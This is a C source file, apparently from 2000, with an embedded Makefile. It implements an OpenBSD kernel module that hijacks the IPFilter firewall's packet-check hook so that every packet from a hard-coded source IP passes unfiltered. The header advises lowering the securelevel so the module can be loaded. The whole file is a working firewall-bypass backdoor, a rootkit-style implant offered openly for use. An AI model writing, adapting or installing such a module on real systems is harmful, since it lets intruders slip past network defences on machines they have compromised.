/*
 * Name: Filtering IpFilter ( OpenBSD Version + Makefile in append )
 * Date: May 23 04:06:37 2000
 * Author: pIGpEN [ pigpen@s0ftpj.org, deadhead@sikurezza.org ]
 *
 * SoftProject Digital Security for Y2K
 * Sikurezza.org Italian Security Mailing List
 *
 * COFFEE-WARE LICENSE - This source code is like "THE BEER-WARE LICENSE" by
 * Poul-Henning Kamp <phk@FreeBSD.ORG> but you can give me in return a coffee.
 *
 * Tested on: OpenBSD 2.6 kern#0 i386
 *
 * read ipfhack.c ( FreeBSD Version ) for information on how this works
 *
 * Note if you want to use this probably you have to modify securelevel...
 * (/etc/rc.securelevel) in order to load it in memory...
 *
 * Greetings to: Grace Slick - I love you ! :*
 *      Bob Dylan - Tomorrow is your birthday ... yeah!
 *             and for his tour in Italy :)
 * 
 */

#define GO_JOHNNY_GO  "192.168.1.3" 
/* packets sent by this ip will pass ! */

#include <sys/param.h>
#include <sys/systm.h>
#include <sys/conf.h>
#include <sys/exec.h>
#include <sys/lkm.h>
#include <sys/errno.h>

#include <sys/proc.h>

#include <sys/mbuf.h>
#include <sys/socket.h>
#include <sys/socketvar.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_var.h>


typedef  struct   ip  ip_t;
typedef struct   mbuf  mb_t;
typedef int  ipfr_t  __P((ip_t *, int, void *, int, mb_t **));

static  ipfr_t  myfr, *fr;
extern  ipfr_t  *fr_checkp;

static u_int32_t  inaton  __P((const char *));

static int
myfr(ip_t *ip, int hlen, void *ifp, int out, mb_t **mp)
{
  if(ip->ip_src.s_addr == inaton(GO_JOHNNY_GO))
    return 0;
  
  return(fr(ip, hlen, ifp, out, mp));
}

MOD_MISC("IpFil");

static int
IpFil_load(struct lkm_table *lkmtp, int cmd)
{
  if(cmd == LKM_E_LOAD) {
    int s = splnet();
    
    printf("Filtering iPFilter\n");
    printf("(c) Coffeeware - SoftProject Y2k\n");
    printf("pIGpEN / s0ftpj\n");
    fr = fr_checkp;
    fr_checkp = myfr;
    
    splx(s);
  }

  return 0;
}


static int
IpFil_unload(struct lkm_table *lkmtp, int cmd)
{
  if(cmd == LKM_E_UNLOAD) {
    int s = splnet();
    
    printf("iPFilter unloaded\n");
    fr_checkp = fr;

    splx(s);
  }

  return 0;
}


IpFil( lkmtp, cmd, ver)
struct lkm_table  *lkmtp;  
int      cmd;
int      ver;
{
  DISPATCH(lkmtp, cmd, ver, IpFil_load, IpFil_unload, lkm_nofunc);
}


static u_int32_t 
inaton(const char *str)
{
  unsigned long l;
  unsigned int val;
  int i;

  l = 0;

  for(i=0; i < 4; i++) {
    l <<= 8;
    if(*str != '\0') {
      val = 0;
      while(*str != '\0' && *str != '.') {
        val *= 10;
        val += *str - '0';
        str++;
      }
      l |= val;
      if(*str != '\0')
        str++;
    }
  }
  return(htonl(l));
}

/*
SRCS=obsd_ipfhack.c
OBJS=$(SRCS:.c=.o)

MODOBJ=IpFil.o

KMOD=IpFil
CFLAGS+= -D_KERNEL -I/sys

all:  $(MODOBJ)

clean:
  rm -f $(OBJS) $(KOBJS) $(MODOBJ) $(KMOD)

load:
  modload -o $(KMOD) -e$(KMOD) $(MODOBJ)

unload:
  modunload -n $(KMOD)

$(MODOBJ): $(OBJS) $(KOBJS)
  $(LD) -r -o $(MODOBJ) $(OBJS) $(KOBJS)
*/